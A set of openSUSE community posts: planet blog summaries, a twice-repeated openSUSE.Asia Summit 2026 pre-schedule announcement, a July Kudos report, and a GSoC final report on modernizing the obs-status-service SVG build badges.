The KDE Blog translates Nate Graham’s weekly Plasma report, which highlights bidirectional clipboard sharing in remote desktop sessions via KRDP. Other notable changes include scroll speed sliders with numeric inputs in System Settings, Discover showing external application links, and numerous bug fixes across Plasma 6.6.7, 6.7.5 and 6.8.

Tumbleweed – Review of the week 2026/33

Victorhck and Dominique Leuenberger summarizes four Tumbleweed snapshots (0806, 0809, 0811, and 0812) that delivered KDE Plasma 6.7.4, GDM 50.2, Mesa 26.2.0, OpenSSH 10.5p1 and OpenVPN 2.7.5. Critical security patches included a root code execution fix in dracut and an RSA decryption fix in python-cryptography, while GCC 16.2.0 and Linux kernel 7.1.8 rounded out the updates.

How a rural region beat the tech giants

The KDE Blog promotes the third episode of the podcast “La era de las distros,” which tells the story of LinEx, the Linux distribution deployed by the regional government of Extremadura, Spain. The episode explores how a rural region challenged the dominance of proprietary software through a bold public technology initiative.

Tiny Wins for Packagers: End-of-Week Update (2026-08-14)

The Open Build Service team publishes its weekly roundup of fixed issues, small features and security updates. Highlights include lowering the threshold for the “Mark all” notifications button, restoring the Show more/less link on user profiles, and fixing osc copypac to error out when copying a package with an empty name.

View more blogs or learn to publish your own on planet.opensuse.org.

openSUSE.Asia Summit 2026 Pre-Schedule Is Now Available

Hello Geeko! 👋

After a long selection process, the openSUSE.Asia Summit 2026 Organizing Committee is pleased to announce that the Pre-Schedule is now available!

This year, we received 114 proposals from 85 speakers, making the selection process both exciting and challenging. We are grateful to everyone who shared their ideas and contributed to the program.

Curious about what will be presented at the summit? Explore the sessions and start planning which talks and workshops you would like to attend.

👉 View the openSUSE.Asia Summit 2026 Schedule

Important Note

This is a preliminary schedule. Some changes to session times, rooms, speakers, or the overall program may still occur before the conference. We will share further updates as the schedule is finalized.

We look forward to welcoming the openSUSE and open source communities to Yogyakarta, Indonesia, on 3–4 October 2026.

See you at the summit! 💚

openSUSE.Asia Summit 2026 Pre-Schedule Is Now Available

Hello Geeko!

After a long selection process, the openSUSE.Asia Summit 2026 Organizing Committee is pleased to announce that the Pre-Schedule is now available!

This year, we received 114 proposals from 85 speakers, making the selection process both exciting and challenging. We are grateful to everyone who shared their ideas and contributed to the program.

Curious about what will be presented at the summit? Explore the sessions and start planning which talks and workshops you would like to attend.

View the openSUSE.Asia Summit 2026 Schedule

Important Note

This is a preliminary schedule. Some changes to session times, rooms, speakers, or the overall program may still occur before the conference. We will share further updates as the schedule is finalized.

We look forward to welcoming the openSUSE and open source communities to Yogyakarta, Indonesia, on 3–4 October 2026.

See you at the summit!

Welcome to our monthly report from the openSUSE Kudos recognition platform, where we take a moment to put a spotlight on the people who stepped up, helped others, and made this community a little brighter.

During 1-31 July 2026, 4 users received 4 kudos, and 4 badges were awarded to 3 contributors.

Badges

• Got First Kudo: @bmwiedemann, @dgarcia, @voztuzun
• First Kudos Given: @voztuzun

Congrats on your badges!

Kudos

@lkocman -> @bmwiedemann for Code & Engineering “Thank you for your quick help with Leap 16.0 respin torrents Bernhard! strong” (view recognition)

@lkocman -> @dgarcia for Code & Engineering “Many thanks for your work and creativity at fixing the beets CVE. Thanks to your extra steps we could avoid update of the problematic python-numpy. Community really appreciates your help Daniel!” (view recognition)

@lkocman -> @voztuzun for Code & Engineering “Many thanks for helping me out with the cecpes and python-requests-gssapi updates Volkan! Your quick help was very much appreciated!” (view recognition)

@voztuzun -> @lkocman for Code & Engineering “Thank you Lubos!!!! Please come to the next concert!” (view recognition)

Thank you to everyone who made this period so active and welcoming. The community is strongest when we notice each other’s work and celebrate it openly.

Generated by kudos-bot-news-o-o from https://kudos.opensuse.org/api/reports/monthly for the period 1-31 July 2026.

• Student: Mario Marín Hinojosa (GitHub • openSUSE Gitea • LinkedIn)
• Organization: openSUSE Project (Large, ~350h)
• Mentor: Daniel García Moreno (@dgarcia)
• Repository: git-workflow/autogits (Proposal #253)

1. Project Overview & Objectives

In openSUSE, package maintainers rely on the Open Build Service (OBS) to build software packages across multiple distributions and architectures. The autogits repository hosts core automation services for openSUSE’s Gitea forge (src.opensuse.org), including obs-status-service, a Go service deployed at br.opensuse.org that renders build results as SVG badges and matrices for repository READMEs and pull requests.

Proposal Goals & Evolution

The main goal of the proposal was to modernize obs-status-service to make OBS build results more accessible and visually integrated into Gitea.

During the coding period, together with my mentor, we prioritized:

1. Refactoring the core engine: Replacing legacy manual XML/SVG string concatenation with modular Go text/template architecture.
2. Modern UI & Theming: Incorporating native Gitea light/dark CSS variables and responsive dimensions.
3. Scalability & Performance: Optimizing rendering for large distributions with thousands of packages like openSUSE:Factory by introducing aggregated Repository Summaries (?mode=repos) and Project Progress Bars (?mode=bars).
4. Real-time Interactivity: Investigating browser SVG execution environments and creating a client-side polling prototype.
5. Ecosystem & Upstream Work: Contributing UI improvements directly to upstream Gitea.

2. Deliverables & Technical Achievements

Pre-GSoC Tooling & Developer Experience

• Offline Mock Test Mode (PR #118 - Merged): Created a RedisClient interface mocking strategy loading compressed OBS data (factory.results.json.bz2), enabling offline local testing via the --test-run flag.
• Interactive Link Builder (PR #119 - Merged): Replaced the root 404 handler with an interactive Pico CSS web UI that generates direct badge URLs, live SVG previews, and ready-to-copy Markdown snippets.

Core Architecture & Template Engine

• Go text/template & go:embed (PR #364 - Merged): Replaced manual string formatting with modular, embedded templates (shared.tmpl, status-badge.tmpl, package-summary.tmpl, project-summary.tmpl, project-matrix.tmpl) with explicit XML data escaping and matrix integration tests.

Theming, Responsiveness & Scalability

• Native Gitea Theming (PR #402 - Merged): Extracted official Gitea light/dark theme CSS variables and resolved :root selector styling bugs inside SVG containers.
• Responsive Compact Mode (PR #402 - Merged): Added ?compact=true|false|auto with 90° rotated headers and square indicator cells for wide matrices.
• Repository Summary View (PR #451 - Merged): Implemented ?mode=repos to aggregate builds by repository and architecture, providing a fast and lightweight overview for large distributions like openSUSE:Factory.
• Project Progress Bars & Unified API (PR #462 - Merged): Added ?mode=bars and unified visualization query endpoints under a clean ?mode= parameter (repos, bars, compact, matrix). Fixed link targets with target="_top".

Before (Legacy String Concatenation):

After (Go Templates & Native Gitea Theme):

Real-Time SVG Interactivity & Polling

• Browser Security & Execution Research (test-js): Tested SVG script execution across browser contexts (<img> sandboxes scripts, while <object> tags execute JavaScript in trusted Gitea contexts).
• Throttled Polling Prototype (PR #487 - In Review): Embedded client-side JavaScript in SVG templates that uses throttled setTimeout polling against JSON endpoints (Accept: application/json) to update badge text and CSS classes in real time without page reloads.

Upstream Gitea Contributions

• Reputation Labels Frontend (Commit 1e5a39c - Proposal / Initial Implementation): Implemented an initial proposal and frontend implementation for user and organization reputation badges across profile headers and explore pages (/explore/users, /explore/organizations).

3. Pull Requests & Code Contributions

Primary Repository (git-workflow/autogits)

Upstream & Research Repositories

4. openSUSE Conference 2026 Presentation

During the program, I was invited to attend the openSUSE Conference 2026 (oSC26) in Nuremberg. I delivered a 4-minute lightning talk showcasing the project architecture, SVG modernization, and real-time status updates, and had the chance to meet and connect in personal with the openSUSE team and community.

• Talk Recording: Watch the Lightning Talk on YouTube (4:02 mark)

Lightning talk at openSUSE Conference 2026

openSUSE Conference 2026 group photo in Nuremberg

5. Current State & Future Work

• Current Status: All primary milestones are completed, tested, and deployed in production on br.opensuse.org, rendering live template-based SVG build status and repository matrices across openSUSE repositories. The consolidated enhancements are merged, alongside the dynamic polling prototype (PR #487).
• Next Steps:
  • Extend real-time client-side polling to project matrix and repository summary views.
  • Integrate structured build status summaries into automated Gitea PR comment bots.
  • Explore Log Detective integration for automated build failure triage in pull requests.

6. Acknowledgments

I would like to express my deepest gratitude to my mentor Daniel García Moreno (@dgarcia) for his constant mentorship, code reviews, and architectural guidance throughout the summer.

A special thanks to Adam (@adamm), maintainer of the autogits repository, for his valuable feedback and insights on scaling the service for large OBS distributions like openSUSE:Factory.

Finally, thank you to the openSUSE Community and Google Summer of Code for this incredible opportunity.